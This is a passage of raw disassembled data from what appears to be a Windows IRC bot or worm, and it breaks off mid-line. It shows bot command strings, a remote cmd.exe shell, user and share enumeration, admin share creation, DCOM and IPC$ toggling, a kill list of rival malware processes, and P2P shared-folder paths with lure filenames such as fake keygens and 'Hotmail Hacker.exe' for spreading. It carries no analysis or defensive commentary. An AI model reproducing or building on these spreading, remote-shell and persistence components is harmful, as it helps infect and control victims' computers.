aContinued db 'Continued',0 align 4 unk_44E178 db 2Dh ; - ; DATA XREF: sub_41AE5B+40o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 unk_44E194 db 2Dh ; - ; DATA XREF: sub_41AE5B+61o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_44E1C0 db 2Dh ; - ; DATA XREF: sub_41AE5B+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_41AFD4:loc_41B0BFo align 4 aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_41AFD4:loc_41B0D5o aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_41AFD4:loc_41B0EBo align 4 aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_41AFD4:loc_41B101o align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_41AFD4:loc_41B117o aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_41AFD4:loc_41B12Do align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_41AFD4:loc_41B143o aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_41AFD4:loc_41B159o db 'marked for deletion.',0 align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_41AFD4:loc_41B16Fo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_41AFD4:loc_41B185o align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_41AFD4:loc_41B19Bo align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_41AFD4:loc_41B1B1o db ' correct access rights.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_41AFD4:loc_41B1C7o align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_41AFD4:loc_41B1DDo align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_41AFD4:loc_41B1F3o db 'tServiceCtrlDispatcher.',0 align 4 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_41AFD4:loc_41B209o db 'dependent on it.',0 align 10h aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_41AFD4:loc_41B21Co align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_41AFD4:loc_41B22Fo db ' the service.',0 align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_41AFD4:loc_41B242o db 'the state of the service.',0 align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_41AFD4:loc_41B255o align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_41AFD4:loc_41B268o align 4 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_41AFD4+2AAo align 10h aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41B2D1+24o align 10h aStopped db ' Stopped',0 ; DATA XREF: sub_41B2D1:loc_41B3C5o aStarting db ' Starting',0 ; DATA XREF: sub_41B2D1:loc_41B3DDo aStoping db ' Stoping',0 ; DATA XREF: sub_41B2D1:loc_41B3F2o aRunning db ' Running',0 ; DATA XREF: sub_41B2D1:loc_41B407o aContinuing db ' Continuing',0 ; DATA XREF: sub_41B2D1:loc_41B41Co aPausing db ' Pausing',0 ; DATA XREF: sub_41B2D1:loc_41B431o aPaused db ' Paused',0 ; DATA XREF: sub_41B2D1:loc_41B446o aUnknown db ' Unknown',0 ; DATA XREF: sub_41B2D1:loc_41B45Bo aSSS_1 db '%s: %s (%s)',0 ; DATA XREF: sub_41B2D1+1C4o dword_44E71C dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_41B4ED+7Fo dd 73252720h, 27h unk_44E738 db 2Dh ; - ; DATA XREF: sub_41B4ED+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 unk_44E764 db 2Dh ; - ; DATA XREF: sub_41B4ED+CCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_41B758+2Co align 10h aYes db 'Yes',0 ; DATA XREF: sub_41B758+B5o aNo db 'No',0 ; DATA XREF: sub_41B758:loc_41B819o align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41B758+E2o align 10h unk_44E7E0 db 2Dh ; - ; DATA XREF: sub_41B758+136o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 unk_44E808 db 2Dh ; - ; DATA XREF: sub_41B8D8+96o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_44E828 db 2Dh ; - ; DATA XREF: sub_41B8D8+C3o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_44E858 db 2Dh ; - ; DATA XREF: sub_41B8D8+E3o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_41BA71+67o aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41BA71+9Bo align 4 aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41BA71+CFo align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41BA71+103o aGuest_0 db 'Guest',0 ; DATA XREF: sub_41BA71:loc_41BBCBo align 4 aUser_1 db 'User',0 ; DATA XREF: sub_41BA71:loc_41BBD4o align 4 aAdministrato_0 db 'Administrator',0 ; DATA XREF: sub_41BA71:loc_41BBDDo align 4 aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_41BA71:loc_41BBE6o aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41BA71+17Fo aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41BA71+1B3o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41BA71+1E7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41BA71+21Bo align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41BA71+24Fo align 10h aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41BA71+283o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41BA71+2B7o align 10h aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41BA71+2EBo align 10h aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41BA71+31Fo aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41BA71+353o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41BA71+387o align 4 aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41BA71+3BBo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41BA71+3EFo aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41BA71+423o align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41BA71+457o align 4 unk_44EA08 db 2Dh ; - ; DATA XREF: sub_41BA71+48Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41BF3D+3Co unk_44EA50 db 2Dh ; - ; DATA XREF: sub_41BF3D+C3o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_35 db ' %S',0 ; DATA XREF: sub_41BF3D+F7o align 4 unk_44EA84 db 2Dh ; - ; DATA XREF: sub_41BF3D+149o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41BF3D+1A9o align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41C123:loc_41C24Co align 10h aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41C123:loc_41C262o aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41C123:loc_41C278o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41C123:loc_41C28Eo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41C123:loc_41C2A4o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41C123:loc_41C2BAo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41C123:loc_41C2D0o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41C123:loc_41C2E6o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41C123:loc_41C2FCo align 4 aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41C123:loc_41C312o align 4 aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41C123:loc_41C328o aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41C123:loc_41C33Eo align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41C123:loc_41C354o db ' the domain.',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41C123:loc_41C36Ao align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41C123:loc_41C37Do align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41C123:loc_41C390o db 'ord policy requirement.)',0 align 4 aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41C123:loc_41C3A3o align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41C123:loc_41C3B6o aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41C123:loc_41C3C9o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41C123:loc_41C3DCo align 10h unk_44ED80 db 2Dh ; - ; DATA XREF: sub_41C3F4+90o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dword_44EDA8 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_41C3F4+BEo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h dword_44EDD4 dd 32h dword_44EDD8 dd 622E7325h, 6B63hdword_44EDE0 dd 5F636673h, 642E736Fh, 6C6Chdword_44EDEC dd 4Ch dword_44EDF0 dd 16h dword_44EDF4 dd 6 dword_44EDF8 dd 0E8h dword_44EDFC dd 3 dword_44EE00 dd 43h dword_44EE04 dd 0FCh dword_44EE08 dd 5 dword_44EE0C dd 0E8h dword_44EE10 dd 3 dword_44EE14 dd 0E5h dword_44EE18 dd 0C8h dword_44EE1C dd 99h dword_44EE20 dd 47h dword_44EE24 dd 0C8h dword_44EE28 dd 622B72h aCanNotOpenTcpi db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: .XComp0:0041C745o aTcpip_sysFixed db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: .XComp0:0041CC0Fo align 10h off_44EE70 dd offset aCProgramFilesK ; DATA XREF: sub_41CC78+7Cr ; "C:\\program files\\kazaa\\my shared folder"... dd offset aCProgramFile_0 ; "C:\\program files\\kazaa lite\\my shared f"... dd offset aCProgramFile_1 ; "C:\\program files\\kazaa lite k++\\my shar"... dd offset aCProgramFilesI ; "C:\\program files\\icq\\shared folder\\" dd offset aCProgramFilesG ; "C:\\program files\\grokster\\my grokster\\" dd offset aCProgramFilesB ; "C:\\program files\\bearshare\\shared\\" dd offset aCProgramFilesE ; "C:\\program files\\edonkey2000\\incoming\\" dd offset aCProgramFile_2 ; "C:\\program files\\emule\\incoming\\" dd offset aCProgramFilesM ; "C:\\program files\\morpheus\\my shared fol"... dd offset aCProgramFilesL ; "C:\\program files\\limewire\\shared\\" dd offset aCProgramFilesT ; "C:\\program files\\tesla\\files\\" dd offset aCProgramFilesW ; "C:\\program files\\winmx\\shared\\" off_44EEA0 dd offset aWindowsVistaKe ; DATA XREF: sub_41CC78+96r ; "Windows Vista KeyGen.exe" dd offset aKasperskyKeyge ; "Kaspersky KeyGen.exe" dd offset aHalfLife2Downl ; "Half-Life 2 Downloader.exe" dd offset aPasswordCracke ; "Password Cracker.exe" dd offset aFtpCracker_exe ; "FTP Cracker.exe" dd offset aBrutusFtpCrack ; "Brutus FTP Cracker.exe" dd offset aHotmailHacker_ ; "Hotmail Hacker.exe" dd offset aHotmailCracker ; "Hotmail Cracker.exe" dd offset aNortonAntiViru ; "Norton Anti-Virus 2008 Enterprise Crack"... dd offset aDcom2Exploit_e ; "DCOM2 Exploit.exe" dd offset aSamHacker_exe ; "SAM Hacker.exe" dd offset aPornCracker_ex ; "PORN Cracker.exe" dd offset aWindowsPasswor ; "Windows Password Cracker.exe" dd offset aL0pht4_0Window ; "L0pht 4.0 Windows Password Cracker.exe" dd offset aWindowsLiveHac ; "Windows Live hack.exe" dd offset aSecondLifeHack ; "Second life hack Private.exe" dd offset aMicrosoftVis_1 ; "Microsoft Visual C++ KeyGen.exe" dd offset aMicrosoftVis_2 ; "Microsoft Visual Basic KeyGen.exe" dd offset aMicrosoftVis_3 ; "Microsoft Visual Studio KeyGen.exe" dd offset aPornPicturesGe ; "Porn pictures generator.exe" dd offset aAolInstantMess ; "AOL Instant Messenger (AIM) Hacker.exe" dd offset aCs2PhotoshopCr ; "CS2 photoshop cracker.exe" dd offset aAolPasswordCra ; "AOL Password Cracker.exe" dd offset aKeylogger_exe ; "Keylogger.exe" dd offset aMyspaceHack_ex ; "Myspace hack.exe" dd offset aHtmlBasic_exe ; "HTML Basic.exe" dd offset aCounterStrikeK ; "Counter-Strike KeyGen.exe" dd offset aVistaExploitsL ; "Vista exploits list.exe" aCProgramFilesK db 'C:\program files\kazaa\my shared folder\',0 ; DATA XREF: .XComp0:off_44EE70o align 4 aCProgramFile_0 db 'C:\program files\kazaa lite\my shared folder\',0 ; DATA XREF: .XComp0:0044EE74o align 4 aCProgramFile_1 db 'C:\program files\kazaa lite k++\my shared folder\',0 ; DATA XREF: .XComp0:0044EE78o align 10h aCProgramFilesI db 'C:\program files\icq\shared folder\',0 ; DATA XREF: .XComp0:0044EE7Co aCProgramFilesG db 'C:\program files\grokster\my grokster\',0 ; DATA XREF: .XComp0:0044EE80o align 4 aCProgramFilesB db 'C:\program files\bearshare\shared\',0 ; DATA XREF: .XComp0:0044EE84o align 10h aCProgramFilesE db 'C:\program files\edonkey2000\incoming\',0 ; DATA XREF: .XComp0:0044EE88o align 4 aCProgramFile_2 db 'C:\program files\emule\incoming\',0 ; DATA XREF: .XComp0:0044EE8Co align 4 aCProgramFilesM db 'C:\program files\morpheus\my shared folder\',0 ; DATA XREF: .XComp0:0044EE90o aCProgramFilesL db 'C:\program files\limewire\shared\',0 ; DATA XREF: .XComp0:0044EE94o align 4 aCProgramFilesT db 'C:\program files\tesla\files\',0 ; DATA XREF: .XComp0:0044EE98o align 4 aCProgramFilesW db 'C:\program files\winmx\shared\',0 ; DATA XREF: .XComp0:0044EE9Co align 4 aWindowsVistaKe db 'Windows Vista KeyGen.exe',0 ; DATA XREF: .XComp0:off_44EEA0o align 4 aKasperskyKeyge db 'Kaspersky KeyGen.exe',0 ; DATA XREF: .XComp0:0044EEA4o align 10h aHalfLife2Downl db 'Half-Life 2 Downloader.exe',0 ; DATA XREF: .XComp0:0044EEA8o align 4 aPasswordCracke db 'Password Cracker.exe',0 ; DATA XREF: .XComp0:0044EEACo align 4 aFtpCracker_exe db 'FTP Cracker.exe',0 ; DATA XREF: .XComp0:0044EEB0o aBrutusFtpCrack db 'Brutus FTP Cracker.exe',0 ; DATA XREF: .XComp0:0044EEB4o align 4 aHotmailHacker_ db 'Hotmail Hacker.exe',0 ; DATA XREF: .XComp0:0044EEB8o align 10h aHotmailCracker db 'Hotmail Cracker.exe',0 ; DATA XREF: .XComp0:0044EEBCo aNortonAntiViru db 'Norton Anti-Virus 2008 Enterprise Crack.exe',0 ; DATA XREF: .XComp0:0044EEC0o aDcom2Exploit_e db 'DCOM2 Exploit.exe',0 ; DATA XREF: .XComp0:0044EEC4o align 4 aSamHacker_exe db 'SAM Hacker.exe',0 ; DATA XREF: .XComp0:0044EEC8o align 4 aPornCracker_ex db 'PORN Cracker.exe',0 ; DATA XREF: .XComp0:0044EECCo align 4 aWindowsPasswor db 'Windows Password Cracker.exe',0 ; DATA XREF: .XComp0:0044EED0o align 4 aL0pht4_0Window db 'L0pht 4.0 Windows Password Cracker.exe',0 ; DATA XREF: .XComp0:0044EED4o align 10h aWindowsLiveHac db 'Windows Live hack.exe',0 ; DATA XREF: .XComp0:0044EED8o align 4 aSecondLifeHack db 'Second life hack Private.exe',0 ; DATA XREF: .XComp0:0044EEDCo align 4 aMicrosoftVis_1 db 'Microsoft Visual C++ KeyGen.exe',0 ; DATA XREF: .XComp0:0044EEE0o aMicrosoftVis_2 db 'Microsoft Visual Basic KeyGen.exe',0 ; DATA XREF: .XComp0:0044EEE4o align 4 aMicrosoftVis_3 db 'Microsoft Visual Studio KeyGen.exe',0 ; DATA XREF: .XComp0:0044EEE8o align 10h aPornPicturesGe db 'Porn pictures generator.exe',0 ; DATA XREF: .XComp0:0044EEECo aAolInstantMess db 'AOL Instant Messenger (AIM) Hacker.exe',0 ; DATA XREF: .XComp0:0044EEF0o align 4 aCs2PhotoshopCr db 'CS2 photoshop cracker.exe',0 ; DATA XREF: .XComp0:0044EEF4o align 10h aAolPasswordCra db 'AOL Password Cracker.exe',0 ; DATA XREF: .XComp0:0044EEF8o align 4 aKeylogger_exe db 'Keylogger.exe',0 ; DATA XREF: .XComp0:0044EEFCo align 4 aMyspaceHack_ex db 'Myspace hack.exe',0 ; DATA XREF: .XComp0:0044EF00o align 10h aHtmlBasic_exe db 'HTML Basic.exe',0 ; DATA XREF: .XComp0:0044EF04o align 10h aCounterStrikeK db 'Counter-Strike KeyGen.exe',0 ; DATA XREF: .XComp0:0044EF08o align 4 aVistaExploitsL db 'Vista exploits list.exe',0 ; DATA XREF: .XComp0:0044EF0Co dd 7530h off_44F3D8 dd offset dword_44F438 ; DATA XREF: sub_41CDFD+F1r dd offset dword_44F444 dd offset dword_44F454 dd offset dword_44F460 dd offset dword_44F46C dd offset dword_44F478 dd offset dword_44F484 dd offset dword_44F494 dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aMsblast_exe ; "MSBLAST.exe" dd offset aTeekids_exe ; "teekids.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" dword_44F438 dd 65676572h, 2E746964h, 657865hdword_44F444 dd 6F63736Dh, 6769666Eh, 6578652Eh, 0dword_44F454 dd 7374656Eh, 2E746174h, 657865hdword_44F460 dd 6C62736Dh, 2E747361h, 657865hdword_44F46C dd 7270617Ah, 78652E6Fh, 65hdword_44F478 dd 7776616Eh, 652E3233h, 6578hdword_44F484 dd 6176616Eh, 32337770h, 6578652Eh, 0dword_44F494 dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65haWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .XComp0:0044F3F8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .XComp0:0044F3FCo align 10h aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .XComp0:0044F400o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .XComp0:0044F404o aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: .XComp0:0044F408o aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .XComp0:0044F40Co aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .XComp0:0044F410o aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .XComp0:0044F414o aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .XComp0:0044F418o align 4 aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .XComp0:0044F41Co align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .XComp0:0044F420o align 10h aSsate_exe db 'ssate.exe',0 ; DATA XREF: .XComp0:0044F424o align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .XComp0:0044F428o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .XComp0:0044F42Co align 4 aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .XComp0:0044F430o align 4 aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .XComp0:0044F434o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_41CDFD+5Do align 4 aSD db ' %s (%d)',0 ; DATA XREF: sub_41CDFD+19Co align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41CDFD+1BFo align 10h aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_41CDFD+1E2o align 4 aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41CDFD+286o align 10h unk_44F5D0 db 2Dh ; - ; DATA XREF: sub_41D094+2Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 unk_44F5F0 db 2Dh ; - ; DATA XREF: sub_41D094+89o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_44F614 db 2Dh ; - ; DATA XREF: sub_41D094:loc_41D132o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41D286+2Do aS_25 db '%s',0 ; DATA XREF: sub_41D286+46o align 4 unk_44F64C db 2Dh ; - ; DATA XREF: sub_41D30D+5Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_44F67C db 2Dh ; - ; DATA XREF: sub_41D30D+B8o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_44F6A4 db 2Dh ; - ; DATA XREF: sub_41D30D:loc_41D4B3o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0 aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_41D4E3+1Eo unk_44F6DC db 2Dh ; - ; DATA XREF: sub_41D4E3+1E0o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h unk_44F700 db 2Dh ; - ; DATA XREF: sub_41D4E3+257o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 8 off_44F738 dd offset dword_44F758 ; DATA XREF: sub_41D7E0+364r ; sub_41D7E0+37Er ... dword_44F73C dd 0 dd offset dword_44F760 align 8 dd offset dword_44F768 dd offset off_44F76C dd offset dword_44F770 dd offset off_44F774 dword_44F758 dd 24435049h, 0 dword_44F760 dd 494D4441h, 244Ehdword_44F768 dd 2443h off_44F76C dd offset loc_5C3A43 ; DATA XREF: .XComp0:0044F74Co dword_44F770 dd 2444h off_44F774 dd offset loc_5C3A44 ; DATA XREF: .XComp0:0044F754o word_44F778 dw 4Eh ; DATA XREF: sub_41D7E0+38r align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41D7E0+5Eo align 4 dword_44F788 dd 234032Dh, 75636573h, 3026572haDisableDcomFai db '- Disable DCOM failed.',0 align 4 dword_44F7AC dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41D7E0:loc_41D868o dd 62617369h, 2E64656Ch, 0 dword_44F7CC dd 234032Dh, 75636573h, 3026572haFailedToOpenDc db '- Failed to open DCOM registry key.',0 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41D7E0+122o align 10h dword_44F810 dd 234032Dh, 75636573h, 3026572haFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 dword_44F84C dd 234032Dh, 75636573h, 3026572haRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_44F880 dd 234032Dh, 75636573h, 3026572haFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_44F8BC dd 234032Dh, 75636573h, 3026572haAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_44F8EC dd 234032Dh, 75636573h, 3026572haShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_44F910 dd 234032Dh, 75636573h, 3026572haFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_44F93C dd 234032Dh, 75636573h, 3026572haShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_44F960 dd 234032Dh, 75636573h, 3026572haFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_44F98C dd 234032Dh, 75636573h, 3026572haNetworkSharesD db '- Network shares deleted.',0 align 4 dword_44F9B4 dd 234032Dh, 75636573h, 3026572haNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 word_44F9E4 dw 59h ; DATA XREF: sub_41DC42+38r align 4 aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_41DC42+5Eo align 4 dword_44F9F4 dd 234032Dh, 75636573h, 3026572haEnableDcomFail db '- Enable DCOM failed.',0 align 4 dword_44FA18 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41DC42:loc_41DCCAo dd 6C62616Eh, 2E6465h dword_44FA34 dd 234032Dh, 75636573h, 3026572haFailedToOpen_0 db '- Failed to open DCOM registry key.',0 aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_41DC42+11Fo align 4 dword_44FA78 dd 234032Dh, 75636573h, 3026572haFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_44FAB8 dd 234032Dh, 75636573h, 3026572haUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 10h dword_44FAF0 dd 234032Dh, 75636573h, 3026572haFailedToOpen_1 db '- Failed to open IPC$ restriction registry key.',0 dword_44FB2C dd 234032Dh, 75636573h, 3026572haAdvapi32_dll_0 db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_44FB5C dd 234032Dh, 75636573h, 3026572haShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_44FB7C dd 234032Dh, 75636573h, 3026572haFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 aC_4 db '%c$',0 ; DATA XREF: sub_41DC42+2FFo aC_5 db '%c:\',0 ; DATA XREF: sub_41DC42+31Do align 10h dword_44FBB0 dd 234032Dh, 75636573h, 3026572haShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0 dword_44FBD0 dd 234032Dh, 75636573h, 3026572haFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0 dword_44FBF8 dd 234032Dh, 75636573h, 3026572haNetworkSharesA db '- Network shares added.',0 dword_44FC1C dd 234032Dh, 75636573h, 3026572haNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41E075+70o a95_0 db '95',0 ; DATA XREF: sub_41E318+47o align 4 aNt_0 db 'NT',0 ; DATA XREF: sub_41E318+5Ao align 10h a98_0 db '98',0 ; DATA XREF: sub_41E318+7Bo align 4 aMe_1 db 'ME',0 ; DATA XREF: sub_41E318+9Co align 4 a2k_0 db '2K',0 ; DATA XREF: sub_41E318+BAo align 4 aXp_2 db 'XP',0 ; DATA XREF: sub_41E318+D8o align 10h a2003_0 db '2003',0 ; DATA XREF: sub_41E318+F6o align 4 a??? db '???',0 ; DATA XREF: sub_41E318:loc_41E41Ao aSS_5 db '%s (%s)',0 ; DATA XREF: sub_41E318+12Do word_44FC84 dw 3Fh ; DATA XREF: sub_41E318+157r align 4 aCouldnTResolve db 